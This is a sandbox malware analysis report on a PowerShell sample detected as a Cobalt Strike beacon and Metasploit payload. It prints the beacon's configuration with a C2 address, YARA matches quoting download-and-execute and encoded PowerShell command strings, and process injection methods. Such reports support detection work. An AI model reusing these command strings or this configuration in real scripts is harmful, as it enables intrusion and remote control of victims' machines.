Edit tour

Windows Analysis Report
3.ps1

Overview

General Information

Sample name:	3.ps1
Analysis ID:	1562630
MD5:	69c80576e5413dc4d0d60de98439f649
SHA1:	2fe44c3f073e661eb0cd6dd2c5890b067743ea5d
SHA256:	85856010d3e63101c30a3d061dd55c758350030dd9b14794044a479860abb37f
Tags:	ps1user-nawhack
Infos:

Detection

CobaltStrike, Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

Yara detected MetasploitPayload

Yara detected Powershell download and execute

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found suspicious powershell code related to unpacking or dynamic code loading

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Communication To Uncommon Destination Ports

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 1900 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTP"], "Port": 8080, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "3.78.244.11,/dot.gif", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 987654321, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
3.ps1	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
3.ps1	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth	0x83:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x5a8:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x695:$s5: = [System.Convert]::FromBase64String( 0x2fe:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x4f1:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4122124036.0000022EF9EB0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x329a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33180:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x334b2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33444:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x334b2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32a7e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c0f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x32ac4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x334fc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d6a:$a11: Could not open service control manager on %s: %d 0x3329c:$a12: %d is an x64 process (can't inject x86 content) 0x332cc:$a13: %d is an x86 process (can't inject x64 content) 0x335ed:$a14: Failed to impersonate logged on user %d (%u) 0x33255:$a15: could not create remote thread in %d: %d 0x32b38:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33203:$a17: could not write to process memory: %d 0x32d9b:$a18: Could not create service %s on %s: %d 0x32e24:$a19: Could not delete service %s on %s: %d 0x32c89:$a20: Could not open process token: %d (%u)
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1d93c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1956a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1a89b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x334b2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x334fc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x3: %d is an x86 process (can't inject x64 content) 0x32c89:$s1: Could not open process token: %d (%u) 0x329a3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x41bf1:$loader_export: ReflectiveLoader 0x32960:$exportname: beacon.dll
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3329c:$x2: %d is an x64 process (can't inject x86 content) 0x335ed:$x3: Failed to impersonate logged on user %d (%u) 0x334fc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x334b2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32c0f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x33203:$s4: could not write to process memory: %d 0x329a3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x33970:$str1: %s (admin) 0x32960:$str2: beacon.dll
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x334fc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x2: %d is an x86 process (can't inject x64 content) 0x334b2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33596:$x4: Failed to impersonate token from %d (%u) 0x335ed:$x5: Failed to impersonate logged on user %d (%u) 0x329a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3348a:$s1: %%IMPORT%% 0x32987:$s2: www6.%x%x.%s 0x3297b:$s3: cdn.%x%x.%s 0x32c03:$s4: api.%x%x.%s 0x33970:$s5: %s (admin) 0x32c72:$s6: could not spawn %s: %d 0x3352e:$s7: Could not kill %d: %d 0x32d47:$s8: Could not connect to pipe (%s): %d 0x32994:$s9: %s.1%x.%x%x.%s 0x329a3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a7e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32ac4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x32b38:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b61:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b86:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x32ba7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x32bc4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x32bdd:$s9: %s.1%08x%08x.%x%x.%s 0x32bf2:$s9: %s.1%08x.%x%x.%s
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30fa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31780:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31ab2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31a44:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31ab2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3107e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x310c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31afc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x3136a:$a11: Could not open service control manager on %s: %d 0x3189c:$a12: %d is an x64 process (can't inject x86 content) 0x318cc:$a13: %d is an x86 process (can't inject x64 content) 0x31bed:$a14: Failed to impersonate logged on user %d (%u) 0x31855:$a15: could not create remote thread in %d: %d 0x31138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31803:$a17: could not write to process memory: %d 0x3139b:$a18: Could not create service %s on %s: %d 0x31424:$a19: Could not delete service %s on %s: %d 0x31289:$a20: Could not open process token: %d (%u)
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1cd3c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31ab2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31afc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x3: %d is an x86 process (can't inject x64 content) 0x31289:$s1: Could not open process token: %d (%u) 0x30fa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x401f1:$loader_export: ReflectiveLoader 0x30f60:$exportname: beacon.dll
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3189c:$x2: %d is an x64 process (can't inject x86 content) 0x31bed:$x3: Failed to impersonate logged on user %d (%u) 0x31afc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31ab2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3120f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31803:$s4: could not write to process memory: %d 0x30fa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31f70:$str1: %s (admin) 0x30f60:$str2: beacon.dll
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31afc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x2: %d is an x86 process (can't inject x64 content) 0x31ab2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31b96:$x4: Failed to impersonate token from %d (%u) 0x31bed:$x5: Failed to impersonate logged on user %d (%u) 0x30fa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x31a8a:$s1: %%IMPORT%% 0x30f87:$s2: www6.%x%x.%s 0x30f7b:$s3: cdn.%x%x.%s 0x31203:$s4: api.%x%x.%s 0x31f70:$s5: %s (admin) 0x31272:$s6: could not spawn %s: %d 0x31b2e:$s7: Could not kill %d: %d 0x31347:$s8: Could not connect to pipe (%s): %d 0x30f94:$s9: %s.1%x.%x%x.%s 0x30fa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3107e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x310c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x311a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x311c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x311dd:$s9: %s.1%08x%08x.%x%x.%s 0x311f2:$s9: %s.1%08x.%x%x.%s
00000000.00000002.4114351286.0000022EF1952000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000002.4098790194.0000022EE28B3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x31683:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x316fb:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31e60:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x32192:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32124:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32192:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3175e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x318ef:$a7: could not run command (w/ token) because of its length of %d bytes! 0x317a4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x317e2:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x321dc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x31a4a:$a11: Could not open service control manager on %s: %d 0x31f7c:$a12: %d is an x64 process (can't inject x86 content) 0x31fac:$a13: %d is an x86 process (can't inject x64 content) 0x322cd:$a14: Failed to impersonate logged on user %d (%u) 0x31f35:$a15: could not create remote thread in %d: %d 0x31818:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31ee3:$a17: could not write to process memory: %d 0x31a7b:$a18: Could not create service %s on %s: %d 0x31b04:$a19: Could not delete service %s on %s: %d 0x31969:$a20: Could not open process token: %d (%u)
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1d41c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1904a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1a37b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x408d1:$loader_export: ReflectiveLoader 0x31640:$exportname: beacon.dll
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x321dc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31fac:$x2: %d is an x86 process (can't inject x64 content) 0x32192:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32276:$x4: Failed to impersonate token from %d (%u) 0x322cd:$x5: Failed to impersonate logged on user %d (%u) 0x31683:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x19faa:$s0: 83 C0 02 48 8B 7C 24 20 48 8B F0 B9 40 00 00 00 F3 A4 44 8B 84 24 A0 00 00 00 BA 40 00 00 00 48 8B 4C 24 20 E8 71 F2 FF FF 48 8B 54 24 20 48 8B 8C 24 98 00 00 00 48 8B 84 24 80 00 00 00 FF 50 0x1934e:$s1: 0F B7 00 3D 4D 5A 00 00 75 45 48 8B 44 24 20 48 63 40 3C 48 89 44 24 28 48 83 7C 24 28 40 72 2F 48 81 7C 24 28 00 04 00 00 73 24 48 8B 44 24 20 48 8B 4C 24 28 48 03 C8 48 8B C1 48 89 44 24 28 ...
Process Memory Space: powershell.exe PID: 1900	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: powershell.exe PID: 1900	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
Process Memory Space: powershell.exe PID: 1900	JoeSecurity_CobaltStrike_1	Yara detected CobaltStrike	Joe Security
Process Memory Space: powershell.exe PID: 1900	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1900	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: powershell.exe PID: 1900	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: powershell.exe PID: 1900	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0xca69d:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xf8fe5:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3183d8:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xca715:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xf905d:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x318450:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xcae7a:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0xf97c2:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x318bb5:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0xcb1a2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0xf9aea:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x318edd:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0xcb134:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0xcb1a2:$a5: IEX (New-Object 